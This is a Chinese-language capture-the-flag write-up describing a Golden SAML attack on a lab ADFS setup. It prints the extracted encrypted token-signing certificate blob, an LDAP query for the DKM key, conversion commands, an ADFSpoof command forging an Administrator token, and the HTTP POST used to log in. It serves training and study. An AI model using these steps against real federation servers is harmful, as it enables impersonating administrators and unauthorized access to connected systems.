根据题目要求配置环境

访问网站，测试正常

https://sts.offensive.local:8443

https://monitor.offensive.local:8080/

具体分析操作

根据题目给的两个线索：ADFS 身份验证系统和网络监控系统拓扑图，现在的大致思路是：通过网络拓扑图中的线索，找到绕过 ADFS Portal 的身份令牌，访问OA系统，才能得到flag。

伪造 AD FS security tokens 需要从 ADFS 的本地数据库中提取出令牌签名证书，并从Active Directory 中拿到 DKM 解密密钥。

1、点击“ADFS01”节点，可以直接导出 ADFS 数据库中的配置数据：

从 AdfsConfigurationV4_.IdentityServerPolicy_.ServiceSettings_.sql 文件中的 EncryptedPFX blob 可以找到加密的令牌签名证书

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

将其保存到TKSKey.txt中

2、点击“DC”节点，这里可以查询LDAP语句，通过(&(thumbnailphoto=*)(objectClass=contact)(!(cn=CryptoPolicy)))查询语句可以从LDAP中查询出 DKM Key

将逗号替换成空格，然后保存到DKMKey.txt中

现在我们得到了两个文件：

• DKMKey.txt：将包含 DKM 密钥。

• TKSKey.txt：将包含令牌签名密钥。

3、接下来，需要通过以下命令，将信息转换为 ADFSpoof工具可以使用的格式：

• TKSKey.txt 需要进行 Base64 解码

• DKMKey.txt 需要转换为十六进制值

cat TKSKey.txt | base64 -d > TKSKey.bin

cat DKMkey.txt | awk '{for(i=1;i<=NF;i++) printf "%02X%s", $i, (i<NF?" ":"\n")}' | tr -d " " | od -An -tx1 | tr -d " \n" > DKMkey.bin

4、执行如下命令，生成伪造的 SAML 令牌：

python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin --server sts.offensive.local o365 --upn Administrator@offensive.local --objectguid {FF6A004D-334C-4D19-AFEB-3F4467F9CBCE}

5、使用伪造的 SAML 令牌以 Administrator 用户的身份登录 OA 发起联合身份验证，POC如下：

POST / HTTP/1.1
Host: oa.offensive.local:8443
Content-Length: 7251
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://sts.offensive.local
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://sts.offensive.local/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Priority: u=0, i
Connection: close

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6、登录成功后，可以使用 “Show response in browser” 功能在浏览器中查看此请求的响应，完成后便可成功进入到 OA 系统

7、查看“公司机密”中的“查看更多”，拿到flag

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